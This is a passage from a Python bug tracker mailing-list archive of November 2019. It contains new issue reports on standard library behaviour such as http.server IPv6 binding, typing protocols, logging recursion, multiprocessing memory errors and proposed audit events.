	com.apple.macl	    72 
	com.apple.metadata:kMDItemWhereFroms	   530 
	com.apple.quarantine	    57 
-rw-r--r--@ 1 gregg  staff  571816 Nov 24 18:48 original.jpg
	com.apple.lastuseddate#PS	    16 
	com.apple.macl	    72 
	com.apple.metadata:kMDItemWhereFroms	   530 
	com.apple.quarantine	    57

----------
components: Library (Lib), Windows, macOS
messages: 357395
nosy: greggman, ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: copy2 doesn't copy metadata on Windows and MacOS
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38906>
_______________________________________

From report at bugs.python.org  Sun Nov 24 12:04:10 2019
From: report at bugs.python.org (JIanqiu Tao)
Date: Sun, 24 Nov 2019 17:04:10 +0000
Subject: [New-bugs-announce] [issue38907] Add IPv6 Dual-Stack control for
 http.server
Message-ID: <1574615050.93.0.813655289277.issue38907@roundup.psfhosted.org>


New submission from JIanqiu Tao <zkonge at outlook.com>:

In Python 3.8+, when we run the http.server in a PC that support IPv6, it will bind IPv6 socket normally. On Linux or some other platforms, it also bind IPv4, that's pretty good, but on Windows, it doesn't work and "--bind 0.0.0.0" have to be provided to make it works in IPv4 environment.
In another case, once someone only want the http.server provide service in IPv6 environment, but linux will still bind IPv4 socket automatically.

Could we add a argument such as "--ipv6-only" for http.server and open the support of Dual-Stack socket by default?

----------
components: Library (Lib)
messages: 357399
nosy: zkonge
priority: normal
severity: normal
status: open
title: Add IPv6 Dual-Stack control for http.server
type: enhancement
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38907>
_______________________________________

From report at bugs.python.org  Sun Nov 24 12:39:56 2019
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 24 Nov 2019 17:39:56 +0000
Subject: [New-bugs-announce] [issue38908] Troubles with @runtime_checkable
 protocols
Message-ID: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org>


New submission from Ivan Levkivskyi <levkivskyi at gmail.com>:

The PEP 544 specifies that:

A protocol can be used as a second argument in isinstance() and issubclass() only if it is explicitly opt-in by @runtime_checkable decorator.

It is not specified exactly whether this should be enforced by static type checkers or at runtime. Currently it is enforced in both cases: mypy flags this as error, and a TypeError is raised at runtime.

There is however a problem with current runtime implementation: abc and functools modules may call issubclass() on non-runtime checkable protocols if they appear as explicit superclasses. This is currently solved by a sys._getframe() hack in  typing module.

The problem is that current solution is incomplete. For example, the TypeError is not raised in the case of non-method protocols:

>>> class P(Protocol):
...     x: int
... 
>>> 
>>> class C: ...
... 
>>> isinstance(C(), P)
False  # should be TypeError

I tried to fix it this morning but after an hour of attempts to tweak the existing hack I gave up. It looks like there are only two reasonable solutions:

* Don't enforce @typing.runtime_checkable at runtime, make it a type-checker-only feature (like @typing.final).
* Add a little helper to abc module that would skip classes in MRO for which C._is_protocol is True but C._is_runtime_protocol is False.

Any thoughts/preferences?

----------
components: Library (Lib)
messages: 357400
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Troubles with @runtime_checkable protocols
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38908>
_______________________________________

From report at bugs.python.org  Mon Nov 25 10:44:15 2019
From: report at bugs.python.org (da-dada)
Date: Mon, 25 Nov 2019 15:44:15 +0000
Subject: [New-bugs-announce] [issue38909] module name 'stat.py'
Message-ID: <1574696655.76.0.731755087716.issue38909@roundup.psfhosted.org>


New submission from da-dada <georg.klingenberg at travedsl.de>:

well, call your module 'stat.py' and python takes over full ownership: it's somewhat all public..

----------
components: Windows
messages: 357444
nosy: da-dada, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: module name 'stat.py'
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38909>
_______________________________________

From report at bugs.python.org  Mon Nov 25 18:28:54 2019
From: report at bugs.python.org (Joseph Reagle)
Date: Mon, 25 Nov 2019 23:28:54 +0000
Subject: [New-bugs-announce] [issue38910] AssertionError: ElementTree not
 initialized, missing root
Message-ID: <1574724534.5.0.309453376726.issue38910@roundup.psfhosted.org>


New submission from Joseph Reagle <joseph.2011 at reagle.org>:

I've attached a simple XHTML file with which the 3.8 interpreter throws an error on the following code, but 3.7 does not. (You'll have to change the path in the code below.)

```
from io import StringIO, BytesIO
from lxml import etree
import os
import readline

HOME = os.path.expanduser("~")

ofile = HOME + '/data/2web/reagle.org/joseph/plan/plans/index.html'
plan_fd = open(ofile, 'r', encoding='utf-8', errors='replace')
plan_content = plan_fd.read()
plan_fd.close()
plan_tree = etree.parse(StringIO(plan_content),
                        etree.XMLParser(ns_clean=True, recover=True))
ul_found = plan_tree.xpath(
    '''//x:div[@id='Done']/x:ul''',
    namespaces={'x': 'http://www.w3.org/1999/xhtml'})
```

----------
components: Library (Lib)
files: index.html
messages: 357465
nosy: joseph.reagle
priority: normal
severity: normal
status: open
title: AssertionError: ElementTree not initialized, missing root
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48742/index.html

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38910>
_______________________________________

From report at bugs.python.org  Mon Nov 25 19:29:58 2019
From: report at bugs.python.org (Matt McEwen)
Date: Tue, 26 Nov 2019 00:29:58 +0000
Subject: [New-bugs-announce] [issue38911] include __del__ in Generator ABC
Message-ID: <1574728198.51.0.732377638731.issue38911@roundup.psfhosted.org>


New submission from Matt McEwen <mmcewen at google.com>:

The Generator ABC in the standard library lets users define objects that follow the Generator specification given in PEP342, and which can be used in the place of builtin generator objects. 

This was originally added in issue 24018

The ABC enforces that the methods `send`, `throw` and `close` are implemented, as per the spec. It doesn't enforce that `__del__` is implemented. PEP342 specifies that `__del__` be a wrapper for `close`, such that when a generator object is garbage collected `close` is called.

For a user (like me) implementing such a generator object by inheriting the Generator ABC, the resulting objects do not have `close` called when they are garbage collected. Fixing this requires manually implementing a `__del__` that calls `close`. 

Ideally from the user perspective, inheriting from Generator should be enough to guarantee that the object behaves like a generator object, provided the abstract methods are correctly implemented. This could be easily achieved by implementing `__del__` concretely in the ABC as a wrapper for `close`:

def __del__(self):
    self.close()

----------
components: Library (Lib)
messages: 357467
nosy: Matt McEwen
priority: normal
severity: normal
status: open
title: include __del__ in Generator ABC
type: enhancement
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38911>
_______________________________________

From report at bugs.python.org  Mon Nov 25 19:50:21 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 26 Nov 2019 00:50:21 +0000
Subject: [New-bugs-announce] [issue38912] test_asyncio altered the execution
 environment
Message-ID: <1574729421.23.0.927917235759.issue38912@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

https://buildbot.python.org/all/#/builders/260/builds/60/steps/5/logs/stdio


0:05:06 load avg: 6.65 [131/423] test_contextlib_async passed -- running: test_signal (1 min 53 sec), test_concurrent_futures (4 min 11 sec), test_zipfile (47.5 sec), test_statistics (48.6 sec), test_multiprocessing_forkserver (2 min 58 sec), test_multiprocessing_spawn (4 min 54 sec)
beginning 6 repetitions
123456
Task was destroyed but it is pending!
task: <Task pending name='Task-9' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-11' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-16' coro=<<async_generator_athrow without __name__>()>>
.Task was destroyed but it is pending!
task: <Task pending name='Task-68' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-70' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-75' coro=<<async_generator_athrow without __name__>()>>
.Task was destroyed but it is pending!
task: <Task pending name='Task-127' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-129' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-134' coro=<<async_generator_athrow without __name__>()>>
.Task was destroyed but it is pending!
task: <Task pending name='Task-186' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-188' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-193' coro=<<async_generator_athrow without __name__>()>>
.Task was destroyed but it is pending!
task: <Task pending name='Task-245' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-247' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-252' coro=<<async_generator_athrow without __name__>()>>
.Task was destroyed but it is pending!
task: <Task pending name='Task-304' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-306' coro=<<async_generator_athrow without __name__>()>>
Task was destroyed but it is pending!
task: <Task pending name='Task-311' coro=<<async_generator_athrow without __name__>()>>
.
0:05:06 load avg: 6.65 [132/423] test_ssl passed -- running: test_signal (1 min 53 sec), test_concurrent_futures (4 min 11 sec), test_zipfile (47.6 sec), test_statistics (48.7 sec), test_multiprocessing_forkserver (2 min 58 sec), test_multiprocessing_spawn (4 min 54 sec)
beginning 6 repetitions
123456
/home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 45335), raddr=('127.0.0.1', 54018)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
./home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 39709), raddr=('127.0.0.1', 55950)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
./home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 39169), raddr=('127.0.0.1', 34992)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
./home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 53179), raddr=('127.0.0.1', 33400)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
./home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 36717), raddr=('127.0.0.1', 49724)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
./home/buildbot/buildarea/3.8.cstratak-fedora-stable-x86_64.refleak/build/Lib/test/support/__init__.py:3323: ResourceWarning: unclosed <ssl.SSLSocket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 40913), raddr=('127.0.0.1', 45944)>
  del self.thread
ResourceWarning: Enable tracemalloc to get the object allocation traceback
Resource 'ipv6.google.com' is not available
.

beginning 6 repetitions
123456
Warning -- threading_cleanup() failed to cleanup 1 threads (count: 1, dangling: 2)
Dangling thread: <_MainThread(MainThread, started 140669094238016)>
Dangling thread: <Thread(waitpid-0, started daemon 140668768876288)>
Unknown child process pid 3450080, will report returncode 255
Loop <_UnixSelectorEventLoop running=False closed=True debug=False> that handles pid 3450080 is closed
....Unknown child process pid 3467752, will report returncode 255
Loop <_UnixSelectorEventLoop running=False closed=True debug=False> that handles pid 3467752 is closed
.Unknown child process pid 3468093, will report returncode 255
.

1 test altered the execution environment:
    test_asyncio

----------
components: Tests, asyncio
messages: 357470
nosy: asvetlov, pablogsal, yselivanov
priority: normal
severity: normal
status: open
title: test_asyncio altered the execution environment
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38912>
_______________________________________

From report at bugs.python.org  Tue Nov 26 01:27:21 2019
From: report at bugs.python.org (danielen)
Date: Tue, 26 Nov 2019 06:27:21 +0000
Subject: [New-bugs-announce] [issue38913] Py_BuildValue("(s#O)",
 ...) segfaults if entered with exception raised
Message-ID: <1574749641.72.0.139840395561.issue38913@roundup.psfhosted.org>


New submission from danielen <daniele at grinta.net>:

The following code results in a segmentation fault in CPython 3.8 while executes fines (raises a SystemError) in CPython 3.7.

PyObject* debug(PyObject *self, PyObject *args)
{
        const char * debug = "debug";
        PyErr_SetString(PyExc_ValueError, "debug!");
        return Py_BuildValue("(s#O)", debug, strlen(debug), Py_None);
}

It seems necessary for the format string to contain both an instance of "s#" and "O" to trigger the bug.

I'm attaching a C module that reproduces the problem.

----------
components: Extension Modules
files: module.c
messages: 357485
nosy: danielen
priority: normal
severity: normal
status: open
title: Py_BuildValue("(s#O)", ...) segfaults if entered with exception raised
versions: Python 3.8
Added file: https://bugs.python.org/file48743/module.c

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38913>
_______________________________________

From report at bugs.python.org  Tue Nov 26 04:41:11 2019
From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=)
Date: Tue, 26 Nov 2019 09:41:11 +0000
Subject: [New-bugs-announce] [issue38914] Clarify wording for warning
 message when checking a package
Message-ID: <1574761271.03.0.166396347338.issue38914@roundup.psfhosted.org>


New submission from J?rgen Gmach <juergen.gmach at googlemail.com>:

When creating a package for PyPi, and naming an author, but not an author_email, you get a warning as follows:

warning: Check: missing meta-data: if 'author' supplied, 'author_email' must be supplied too

The specs ( https://packaging.python.org/specifications/core-metadata/#author ) do not enforce this behavior, so I'd like to change the wording from `must` to `should`.

This can be reproduced by creating a setup.py, providing `author`, but not `author_email`, and then calling `python setup.py check` or `python -m pep517.build .`.

This issue was discussed at:
https://discuss.python.org/t/which-fields-are-required-for-a-setup-py-especially-is-author-required/2705
and
https://github.com/pypa/pep517/issues/73

Background:
I ported a 16 year old package to Python 3, and tried to upload it to PyPi. I know the author name, but not his email address. Also, I think he does not like to get bothered with emails for a project he abandoned 16 years ago.

P.S.: I am working on a PR for this and update this issue accordingly.

----------
components: Distutils
messages: 357490
nosy: dstufft, eric.araujo, jugmac00
priority: normal
severity: normal
status: open
title: Clarify wording for warning message when checking a package
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38914>
_______________________________________

From report at bugs.python.org  Tue Nov 26 06:40:34 2019
From: report at bugs.python.org (Yan)
Date: Tue, 26 Nov 2019 11:40:34 +0000
Subject: [New-bugs-announce] [issue38915] 'r[/]*', str,
 re.MULTILINE | re.DOTALL Won't match // in a string in Python3.6.8
Message-ID: <1574768434.06.0.471895216723.issue38915@roundup.psfhosted.org>


New submission from Yan <yanioaioan at gmail.com>:

str="//"
matches = re.finditer('r[/]*', str, re.MULTILINE | re.DOTALL)
for match in matches:
    print(match.group(0))

The above will match double forward slash in Python2.7.15  but NOT in Python3.6.8.

----------
components: Library (Lib)
messages: 357492
nosy: yanioaioan
priority: normal
severity: normal
status: open
title: 'r[/]*', str, re.MULTILINE | re.DOTALL Won't match // in a string in Python3.6.8
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38915>
_______________________________________

From report at bugs.python.org  Tue Nov 26 09:08:48 2019
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 26 Nov 2019 14:08:48 +0000
Subject: [New-bugs-announce] [issue38916] Remove array.fromstring
Message-ID: <1574777328.39.0.275521337595.issue38916@roundup.psfhosted.org>


New submission from Dong-hee Na <donghee.na92 at gmail.com>:

array.fromstring was deprecated at 3.2

IMHO, now we can remove array.fromstring.
For my research, there is no usage on the standard library.
I 'd like to propose that let's remove array.fromstring from 3.9

----------
components: Library (Lib)
messages: 357495
nosy: benjamin.peterson, corona10, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Remove array.fromstring
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38916>
_______________________________________

From report at bugs.python.org  Tue Nov 26 09:47:49 2019
From: report at bugs.python.org (Acid Ascorbic)
Date: Tue, 26 Nov 2019 14:47:49 +0000
Subject: [New-bugs-announce] [issue38917] Color setting doesn't work in
 tkinter
Message-ID: <1574779669.0.0.89145609827.issue38917@roundup.psfhosted.org>


New submission from Acid Ascorbic <ascorbic.acid.test2 at gmail.com>:

It is impossible to set colors properly in Treeview.
Python behavior is different between versions 3.6.2 and 3.7.3/3.8.0.
Origin: https://stackoverflow.com/questions/57634982/can-i-change-the-foreground-color-of-a-single-column-in-python-treeview/59047842
Example 1:

from tkinter import ttk
import tkinter as tk

root = tk.Tk()
tree = ttk.Treeview(root)
c = tree.insert('', 'end', text='This is critical message', tags='critical')
tree.insert(c, 'end', text='This is child of critical message', tags='critical')
for i in range(5):
    tree.insert('', 'end', text='This is non-critical message')
tree.tag_configure('critical', background='red', foreground="black")
tree.pack()
root.mainloop()

Example 2:

import tkinter as tk
from tkinter import ttk

root = tk.Tk()
style = ttk.Style(root)
style.theme_use("clam")
style.configure("Treeview", background="black",
                fieldbackground="black", foreground="white")
tree = ttk.Treeview(root)
tree.insert("", 0, "item", text="item")
tree.pack()
root.mainloop()

----------
components: Tkinter
messages: 357501
nosy: Acid Ascorbic
priority: normal
severity: normal
status: open
title: Color setting doesn't work in tkinter
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38917>
_______________________________________

From report at bugs.python.org  Tue Nov 26 10:27:12 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 26 Nov 2019 15:27:12 +0000
Subject: [New-bugs-announce] [issue38918] Add __module__ entry for function
 type in inspect docs table.
Message-ID: <1574782032.53.0.612246813906.issue38918@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

The docs page for the inspect module has a large table describing the special attributes of various important types.  One entry for function attributes is missing: __module__.  It should be added.

Note that __module__ *is* included in the function attributes listed in the language reference. [2]

The same goes for the "method" (really "instance method") section of the table: it should also have __module__. [3]


[1] https://docs.python.org/3/library/inspect.html#types-and-members
[2] https://docs.python.org/3/reference/datamodel.html#index-34
[3] https://docs.python.org/3/reference/datamodel.html#index-36

----------
assignee: docs at python
components: Documentation
keywords: easy, newcomer friendly
messages: 357502
nosy: docs at python, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Add __module__ entry for function type in inspect docs table.
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38918>
_______________________________________

From report at bugs.python.org  Tue Nov 26 11:23:02 2019
From: report at bugs.python.org (mohamad khosravi)
Date: Tue, 26 Nov 2019 16:23:02 +0000
Subject: [New-bugs-announce] [issue38919] support Assignment Operators
Message-ID: <1574785382.07.0.788773831848.issue38919@roundup.psfhosted.org>


New submission from mohamad khosravi <khosravim861 at gmail.com>:

support "Assignment Operators":

x = "ME"
while len(x:*=2) < 64:print("value doubled!")

----------
messages: 357507
nosy: mohamad khosravi
priority: normal
severity: normal
status: open
title: support Assignment Operators
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38919>
_______________________________________

From report at bugs.python.org  Tue Nov 26 12:15:28 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Nov 2019 17:15:28 +0000
Subject: [New-bugs-announce] [issue38920] Audit events for unhandled
 exceptions
Message-ID: <1574788528.67.0.338103182779.issue38920@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

We currently have no audit events for unhandled exceptions.

While these can be recorded by sys.excepthook or sys.unraisablehook in Python code, there is no way to intercept them from C code set up before running Python code. There's also no way to collect information about what hook is running, in the case where Python code may have overridden it (for example, to suppress error reporting when malicious code fails).

----------
messages: 357517
nosy: steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: Audit events for unhandled exceptions
type: enhancement
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38920>
_______________________________________

From report at bugs.python.org  Tue Nov 26 13:39:43 2019
From: report at bugs.python.org (Joy)
Date: Tue, 26 Nov 2019 18:39:43 +0000
Subject: [New-bugs-announce] [issue38921] Max Recursion Depth Reached in
 Logging Library
Message-ID: <1574793583.29.0.769726111814.issue38921@roundup.psfhosted.org>


New submission from Joy <joy.bushnell at gmail.com>:

Seeing an issue with the logger fmt not setting correctly in the Handler class. Our code calls format many times which works for a while and then we receive the following errors:

[3206] 2019/11/26 12:42:31.011> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1725, in info
[3206] 2019/11/26 12:42:31.013> [ERROR] self.log(INFO, msg, *args, **kwargs)
[3206] 2019/11/26 12:42:31.014> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1763, in log
[3206] 2019/11/26 12:42:31.016> [ERROR] self.logger.log(level, msg, *args, **kwargs)
[3206] 2019/11/26 12:42:31.017> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1444, in log
[3206] 2019/11/26 12:42:31.018> [ERROR] self._log(level, msg, args, **kwargs)
[3206] 2019/11/26 12:42:31.019> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1514, in _log
[3206] 2019/11/26 12:42:31.021> [ERROR] self.handle(record)
[3206] 2019/11/26 12:42:31.022> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1524, in handle
[3206] 2019/11/26 12:42:31.024> [ERROR] self.callHandlers(record)
[3206] 2019/11/26 12:42:31.025> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1586, in callHandlers
[3206] 2019/11/26 12:42:31.026> [ERROR] hdlr.handle(record)
[3206] 2019/11/26 12:42:31.027> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 894, in handle
[3206] 2019/11/26 12:42:31.029> [ERROR] self.emit(record)
[3206] 2019/11/26 12:42:31.029> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1127, in emit
[3206] 2019/11/26 12:42:31.031> [ERROR] StreamHandler.emit(self, record)
[3206] 2019/11/26 12:42:31.032> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 1025, in emit
[3206] 2019/11/26 12:42:31.033> [ERROR] msg = self.format(record)
[3206] 2019/11/26 12:42:31.035> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 869, in format
[3206] 2019/11/26 12:42:31.036> [ERROR] return fmt.format(record)
[3206] 2019/11/26 12:42:31.037> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 869, in format
[3206] 2019/11/26 12:42:31.039> [ERROR] return fmt.format(record)
[3206] 2019/11/26 12:42:31.040> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 869, in format
[3206] 2019/11/26 12:42:31.041> [ERROR] return fmt.format(record)
[3206] 2019/11/26 12:42:31.042> [ERROR]   [Previous line repeated 978 more times]
[3206] 2019/11/26 12:42:31.043> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 608, in format
[3206] 2019/11/26 12:42:31.045> [ERROR] record.message = record.getMessage()
[3206] 2019/11/26 12:42:31.046> [ERROR]   File "/usr/lib/python3.7/logging/__init__.py", line 367, in getMessage
[3206] 2019/11/26 12:42:31.048> [ERROR] msg = str(self.msg)
[3206] 2019/11/26 12:42:31.049> [ERROR] RecursionError
[3206] 2019/11/26 12:42:31.049> [ERROR] :
[3206] 2019/11/26 12:42:31.050> [ERROR] maximum recursion depth exceeded while calling a Python object


I believe after a while the fmt object is not being set correctly and ends up calling the Handler's format function again and again.

----------
components: Library (Lib)
messages: 357523
nosy: joy
priority: normal
severity: normal
status: open
title: Max Recursion Depth Reached in Logging Library
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38921>
_______________________________________

From report at bugs.python.org  Tue Nov 26 15:13:46 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Nov 2019 20:13:46 +0000
Subject: [New-bugs-announce] [issue38922] code.replace() does not raise
 audit event
Message-ID: <1574799226.23.0.693103985318.issue38922@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

Because code.replace() manually creates a new code object (that is, with arbitrary co_code rather than via the compiler), it should raise code.__new__ with its arguments.

----------
assignee: steve.dower
messages: 357529
nosy: steve.dower
priority: normal
severity: normal
status: open
title: code.replace() does not raise audit event
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38922>
_______________________________________

From report at bugs.python.org  Tue Nov 26 16:22:27 2019
From: report at bugs.python.org (Brian Kardon)
Date: Tue, 26 Nov 2019 21:22:27 +0000
Subject: [New-bugs-announce] [issue38923] Spurious OSError "Not enough
 memory resources" when allocating memory using multiprocessing.RawArray
Message-ID: <1574803347.18.0.0106891265005.issue38923@roundup.psfhosted.org>


New submission from Brian Kardon <brian.kardon at gmail.com>:

When I try to create a series of multiprocessing.RawArray objects, I get an "OSError: Not enough memory resources are available to process this command". However, by my calculations, the total amount of memory I'm trying to allocate is just about 1 GB, and my system reports that it has around 20 GB free memory. I can't find any information about any artificial memory limit, and my system seems to have plenty of memory for this, so it seems like a bug to me. This is my first issue report, so I apologize if I'm doing this wrong.

The attached script produces the following output on my Windows 10 64-bit machine with Python 3.7:

Creating buffer # 0
Creating buffer # 1
Creating buffer # 2
Creating buffer # 3
Creating buffer # 4
...etc...
Creating buffer # 276
Creating buffer # 277
Creating buffer # 278
Creating buffer # 279
Creating buffer # 280
Traceback (most recent call last):
  File ".\Cruft\memoryErrorTest.py", line 10, in <module>
    buffers.append(mp.RawArray(imageDataType, imageDataSize))
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\context.py", line 129, in RawArray
    return RawArray(typecode_or_type, size_or_initializer)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\sharedctypes.py", line 61, in RawArray
    obj = _new_value(type_)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\sharedctypes.py", line 41, in _new_value
    wrapper = heap.BufferWrapper(size)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\heap.py", line 263, in __init__
    block = BufferWrapper._heap.malloc(size)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\heap.py", line 242, in malloc
    (arena, start, stop) = self._malloc(size)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\heap.py", line 134, in _malloc
    arena = Arena(length)
  File "C:\Users\Brian Kardon\AppData\Local\Programs\Python\Python37-32\lib\multiprocessing\heap.py", line 38, in __init__
    buf = mmap.mmap(-1, size, tagname=name)
OSError: [WinError 8] Not enough memory resources are available to process this command

----------
components: Library (Lib), Windows, ctypes
files: memoryErrorTest.py
messages: 357531
nosy: bkardon, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Spurious OSError "Not enough memory resources" when allocating memory using multiprocessing.RawArray
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48744/memoryErrorTest.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38923>
_______________________________________

From report at bugs.python.org  Tue Nov 26 17:23:45 2019
From: report at bugs.python.org (=?utf-8?b?SW9udcibIENpb2PDrnJsYW4=?=)
Date: Tue, 26 Nov 2019 22:23:45 +0000
Subject: [New-bugs-announce] [issue38924] pathlib paths .normalize()
Message-ID: <1574807025.92.0.455161841329.issue38924@roundup.psfhosted.org>


New submission from Ionu? Cioc?rlan <ionut.ciocirlan at gmail.com>:

pathlib paths should expose a `.normalize()` method. This is highly useful, especially in web-related scenarios.

On `PurePath` its usefulness is obvious, but it's debatable for `Path`, as it would yield different results from `.resolve()` in case of symlinks (which resolves them before normalizing).

----------
components: Library (Lib)
messages: 357534
nosy: iciocirlan
priority: normal
severity: normal
status: open
title: pathlib paths .normalize()
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38924>
_______________________________________

From report at bugs.python.org  Tue Nov 26 17:45:32 2019
From: report at bugs.python.org (Sebastian Szwarc)
Date: Tue, 26 Nov 2019 22:45:32 +0000
Subject: [New-bugs-announce] [issue38925] Decoding unicode not supported
 after upd to 2.7.17 [possible pymysql related?]
Message-ID: <1574808332.82.0.628068067635.issue38925@roundup.psfhosted.org>


New submission from Sebastian Szwarc <seba.szwarc at gmail.com>:

As follow up to my recent bug error regarding segmentation fault.
Installed 2.7.17 on Mojave.
Because MySQLdb for reason unknown (SSL required error) is impossible to install by PIP I used PyMysql and modified line as `import pymysql as MySQLdb`

